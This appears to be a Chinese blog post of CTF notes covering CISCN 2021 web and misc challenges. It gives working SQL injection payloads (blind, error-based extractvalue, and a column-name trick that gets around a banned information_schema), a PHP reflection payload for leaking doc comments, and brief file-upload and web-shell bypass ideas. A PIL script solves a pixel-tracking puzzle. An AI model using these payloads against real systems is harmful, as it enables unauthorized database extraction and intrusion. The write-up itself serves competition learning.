CTF笔记(十四)——CISCN 2021 WEB&MISC WriteUp

内容纲要

【WEB】easy_sql

一开始L1sper发现可以盲注:uname=1′)or(sleep(1))and(‘1

但是information_schema被ban了,获取不到列名

一般无列名注入用union,但是union也被ban了

然后L1sper提供了另一种思路:

select (select 1,2)>(select 1,3);

然后我发现其实开了报错:

python .\SerialInjector.py http://119.3.228.32:25000/ 40 0.2 post "uname=-1') or extractvalue(1,concat(1,if((select (select 1,'no','{basename}')>(select * from flag)),'dsadasda',0))) and('1&passwd=&Submit=登录"

但是这样注出来没有区分大小写

然后看到如下博文

mysql 注入 information_schema_绕过IDS过滤information_schema继续注入_宇文数学的博客-CSDN博客

使用如下语句获得列名

select * from (select * from flag as a join flag as b using(id,no)) as c

直接报错拿flag

uname=1')^if(ascii(substr((select(extractvalue('1',concat('~',( select `9d719af3-2730-456e-98b7-4421dd54d713` from flag))))),1,1)),1,0)#
&passwd=1

【WEB】easy_source

扫目录发现源码备份.index.php.swo

猜测flag在文件的注释中,然后利用getDocComment()的方法,构造一个反射对象来打印所有类的注释找到flag

payload:

?rc=ReflectionMethod&ra=User&rb=q&rd=getDocComment

【MISC】runningpixel

有一个像素点在图中到处跑,颜色#e9e9e9
弄成图片,看看字母如何一个一个出

from PIL import Image,ImageDraw
img=Image.open(r"C:\Users\q1079\Desktop\running_pixel.gif")

res=Image.new("RGB",(400,400),(255, 255, 255))
drawer = ImageDraw.Draw(res)
for i in range(382):
    print(i,end="\r")
    img.seek(i)
    im=img.convert("RGB").load()
    discover=False
    for x in range(400):
        for y in range(400):
            r,g,b=im[x,y]
            if (r,g,b)==(233,233,233):
                # print(x,y)
                drawer.point((x,y),(0,0,0))
                discover=True
                res.save(r"C:\Users\q1079\Desktop\233\{i}.jpg")
        if discover:
            break

【WEB】middle_source

利用 session.upload_progres进行文件包含,有时间复现了再补充

【WEB】upload

文件名检查绕过(mb_strtolower('%c4%b0')=='i')+文件头检查绕过(篡改大小字段的图片头+zip文件内容)+条件竞争解压+二次渲染图片马(scandir+file_get_contents)

参考链接:Encoding Web Shells in PNG IDAT chunks | Application Security

参考链接:CTF-中文件上传(2)_欢迎来到神林的博客-CSDN博客_ctf文件上传

具体有时间复现再补充

后来打了个美团CTF,就。。。很难受

标签:,

不说点什么喵?

3 + 5 =

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据